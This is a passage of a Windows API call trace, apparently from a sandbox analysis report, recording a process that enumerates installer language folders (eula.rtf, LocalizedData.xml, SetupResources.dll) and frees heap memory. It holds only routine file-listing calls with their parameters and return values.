ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.151] FindClose (in: hFindFile=0x10dc450 | out: hFindFile=0x10dc450) returned 1 [0044.151] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.151] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1038", cAlternateFileName="")) returned 1 [0044.151] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbf10 [0044.151] FindNextFileW (in: hFindFile=0x10dbf10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.151] FindNextFileW (in: hFindFile=0x10dbf10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.151] FindNextFileW (in: hFindFile=0x10dbf10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.152] FindNextFileW (in: hFindFile=0x10dbf10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.152] FindNextFileW (in: hFindFile=0x10dbf10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.152] FindClose (in: hFindFile=0x10dbf10 | out: hFindFile=0x10dbf10) returned 1 [0044.152] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.152] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1040", cAlternateFileName="")) returned 1 [0044.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc890 [0044.152] FindNextFileW (in: hFindFile=0x10dc890, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.152] FindNextFileW (in: hFindFile=0x10dc890, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.152] FindNextFileW (in: hFindFile=0x10dc890, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.152] FindNextFileW (in: hFindFile=0x10dc890, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.153] FindNextFileW (in: hFindFile=0x10dc890, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.153] FindClose (in: hFindFile=0x10dc890 | out: hFindFile=0x10dc890) returned 1 [0044.153] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.153] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1041", cAlternateFileName="")) returned 1 [0044.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc110 [0044.153] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.153] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.153] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.153] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.154] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.154] FindClose (in: hFindFile=0x10dc110 | out: hFindFile=0x10dc110) returned 1 [0044.154] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.154] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1042", cAlternateFileName="")) returned 1 [0044.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbf50 [0044.154] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.154] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.154] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.154] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.154] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.154] FindClose (in: hFindFile=0x10dbf50 | out: hFindFile=0x10dbf50) returned 1 [0044.154] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.154] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1043", cAlternateFileName="")) returned 1 [0044.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc810 [0044.155] FindNextFileW (in: hFindFile=0x10dc810, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.155] FindNextFileW (in: hFindFile=0x10dc810, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.155] FindNextFileW (in: hFindFile=0x10dc810, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.155] FindNextFileW (in: hFindFile=0x10dc810, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.155] FindNextFileW (in: hFindFile=0x10dc810, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.155] FindClose (in: hFindFile=0x10dc810 | out: hFindFile=0x10dc810) returned 1 [0044.155] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.155] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1044", cAlternateFileName="")) returned 1 [0044.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc110 [0044.156] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.156] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.156] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.156] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.156] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.156] FindClose (in: hFindFile=0x10dc110 | out: hFindFile=0x10dc110) returned 1 [0044.156] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.156] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1045", cAlternateFileName="")) returned 1 [0044.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, 